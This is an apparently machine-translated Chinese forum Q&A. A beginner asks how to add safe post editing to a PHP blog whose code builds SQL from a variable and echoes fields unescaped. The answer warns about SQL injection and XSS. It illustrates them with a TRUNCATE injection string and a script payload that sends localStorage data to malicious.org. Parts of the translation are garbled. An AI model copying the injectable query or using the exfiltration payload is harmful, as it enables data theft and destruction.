2017-10-10 53 views
0

所以,我是PHP和SQL的初学者。我正在创建一个简单的博客。我有index.php,在那里发布博客和blog.php,它显示博客文章。我希望能够在blog.php上的每篇博文中添加一个编辑链接。一旦你点击这个编辑链接,你可以在另一个页面上编辑博客。我想知道什么是最安全的方法,而不使用框架。这里是blog.php的代码:安全地编辑博客文章

<?php include("session_start.php")?> 

<?php 

$sql = "SELECT * FROM posts WHERE user_name='$user_name' ORDER BY post_date DESC"; 

$result = mysqli_query($connection, $sql) or die(mysqli_error($connection)); 

?> 

<html> 
    <head> 
     <title>Blog</title> 
<!-- Latest compiled and minified CSS --> 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" > 

<!-- Optional theme --> 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" > 

<link rel="stylesheet" href="styles.css" > 

<!-- Latest compiled and minified JavaScript --> 
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 

    </head> 
    <body> 

<div class="container"> 
    <div class="row"> 

<div class="align-right"> 
<a href='index.php'>Post a Blog</a> | <a href='account_settings.php'>Account Settings</a> | <a href='logout.php' onclick="return confirm('Are you sure?')">Logout</a> 
</div> 

<h1>Blog</h1> 

<?php 
while($column = mysqli_fetch_assoc($result)){ 
?> 
<h2><?php echo $column["post_title"]?></h2> 
<div class="view-post-content"><?php echo $column["post_content"]?></div> 
<p class="category">Category: <?php echo $column["post_category"]?></p> 
<p>This post was written <?php echo $column["post_date"]?>.</p> 
<?php 
} 
?> 

</div> 
</div> 

</body> 
</html> 

<?php include "footer.php";?> 
+0

你在你的PHP应用程序的任何类型的用户身份验证设置的?这可能是第一个开始的地方。在博客文章的每个请求中,PHP会验证用户是谁,他说他是谁,他有权读取/编辑/删除给定的帖子等。 –

+0

如果我们谈论“安全的方式”,那么它的一个广泛的问题。但如果你只需要编辑博客文章,只需发送博客文章ID到编辑页面,并通过其ID从数据库获取博客数据。 – arisalsaila

+0

但是不发送博客ID有点不安全,因为其他人可以猜测这些ID访问页面? – Julian

回答

0

不能在说一个词,而是“要设法使基于您的代码示例一命中,以及一些基础知识。

  1. SQL注入

    $ SQL = “SELECT * FROM帖子其中user = '$ USER_NAME' ORDER BY DESC POST_DATE”;

    猜发生了什么事,如果$user_name = "'TRUNCATE posts;"

  2. XSS(跨站脚本) 例如,如果您应该知道,恶意用户可以注入客户脚本,所以当你将显示保存的帖子,将有类似的值:

    $ post ='哇,酷博客! < SCRIPT> $。员额( 'http://malicious.org/',{} localStorage.STOLE_USER_DATA_N_PASSWORDS)</SCRIPT>”加密后

  3. 存储安全数据(DB原不保存passwods) 总是隐窝他们 http://php.net/manual/en/function.crypt.php

有很多,很多其他的事情,甚至提到它都将是一本书。 但是,如果你只是玩这些提示将帮助你。

而且ofcourse谷歌,读,谷歌... :)